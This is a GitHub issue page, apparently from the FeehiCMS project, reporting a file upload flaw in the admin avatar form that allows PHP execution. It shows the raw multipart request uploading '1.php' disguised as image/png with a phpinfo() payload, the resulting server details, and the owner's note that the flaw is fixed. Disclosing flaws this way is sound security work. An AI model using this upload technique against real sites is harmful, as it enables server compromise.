

New issue

[Jump to bottom](#)

File upload command execution #44

 Closed

e0mlja opened this issue on Nov 6, 2019 · 1 comment

e0mlja commented on Nov 6, 2019

In the background, you can upload the PHP file by changing the image suffix to PHP, resulting in command execution.

url: <http://192.168.18.143/admin/index.php?r=admin-user%2Fupdate-self>

头像

选择图片

删除

邮箱

admin@feehi.com

92.168.18.143/admin/

查看器

控制台

调试器

网络

样式编辑器

性能

内存

存储

无障碍环境

搜索 HTML

<div class="hr-line-dashed"></div>
<div class="form-group field-user-avatar">
 ::before
 <label class="col-sm-2 control-label" for="user-avatar">头像</label>
 <div class="col-sm-10 image">
 <input type="hidden" name="User[avatar]" value=""> event
 </div>
</div>
<div style="position: relative;">

 </div>
</div>

伪元素

此元素

元素 {

bootstrap.min!4ed.css:5

.carousel-inner > .item > a >

img, .carousel-inner > .item >

img, .img-responsive,

.thumbnail a > img, .thumbnail

> img {

display: block;

}

弹性盒

选择一个弹性 (Flex) 容器或项目以继续。

网络

此页面上没有使用 CSS 网络

盒模型

margin

0

Connection: close
Referer: http://192.168.18.143/admin/index.php?r=admin-user%2Fupdate-self
Cookie: PHPSESSID=adgiku3s0i51obn0rb5i9f0;
_csrf=8989b621b21ebb7936d46b1e058b62ede7e11a28e4c3dce2f00b20d0f3964e4a%3A2%3A%7B%3A0%3B%3A5%3A%22_csr%22%3B%3A1%3B%3A32%3A%22O4HGm4m9qxZjD1zshjPg
zdLykIWai%22%3B%7D; BACKEND_FEEHICMS=v2ak173anp03fq7a6jupplmhf;
_csrf_backend=2b4d4e326f0b4c7a95dbe654d115740d7bace584d8483d48e228db17f3273a%3A2%3A%7B%3A0%3B%3A1%3A%22_csr_backend%22%3B%3A1%3B%3A32%3A%22gRi2LWKZ
qZUBaJ0FUCMLGICAgK9QZQNL%22%3B%7D
Upgrade-Insecure-Requests: 1
-----19718198955447
Content-Disposition: form-data; name="_csrf_backend"

oFVammP94sFbxDoOw2BkWrtdlF4dVsXBVzxddkr_HBzaoL6qpmqeb0yikIQc7h7Ym6RexBTWNC
yeTQzc8w==
-----19718198955447
Content-Disposition: form-data; name="User[avatar]"

0
-----19718198955447
Content-Disposition: form-data; name="User[avatar]"; filename="1.php"
Content-Type: image/png

<?php
phpinfo();
?>
-----19718198955447
Content-Disposition: form-data; name="User[email]"

192.168.18.143/admin/uploads/avatar/20191106132330_5dc258d234941.php

PHP Version 7.1.12

System	Linux Feehcms 5.0.0-32-generic #34~18.04.2-Ubuntu SMP Thu Oct 10 10:36:02 UTC 2019 x86_64
Build Date	Sep 28 2019 16:26:05
Configure Command	'./configure' '--prefix=/usr/local/php' '--with-config-file-path=/etc/php' '--enable-soap' '--enable-mbstring=all' '--enable-sockets' '--enable-fpm' '--with-gd' '--with-freetype-dir=/usr/include/freetype2' '--with-jpeg-dir=/usr/lib64' '--with-zlib' '--with-iconv' '--enable-libxml' '--enable-xml' '--enable-intl' '--enable-zip' '--enable-pcntl' '--enable-bcmath' '--enable-maintainer-zts' '--with-curl' '--with-mcrypt' '--with-openssl' '--with-mysql=mysqlnd' '--with-pdo-mysql=mysqlnd'
Server API	FPM/FastCGI
Virtual Directory Support	enabled
Configuration File (php.ini) Path	/etc/php
Loaded Configuration File	/etc/php/php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)
PHP API	20160303
PHP Extension	20160303
Zend Extension	320160303
Zend Extension Build	API320160303,TS
PHP Extension Build	API20160303,TS
Debug Build	no

liufee commented on Dec 24, 2019

Owner

thanks for the feedback.
it has been fix, see [commit](#).
because yii2 FileValidator need custom assign value to attribute

liufee closed this as completed on Dec 24, 2019

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

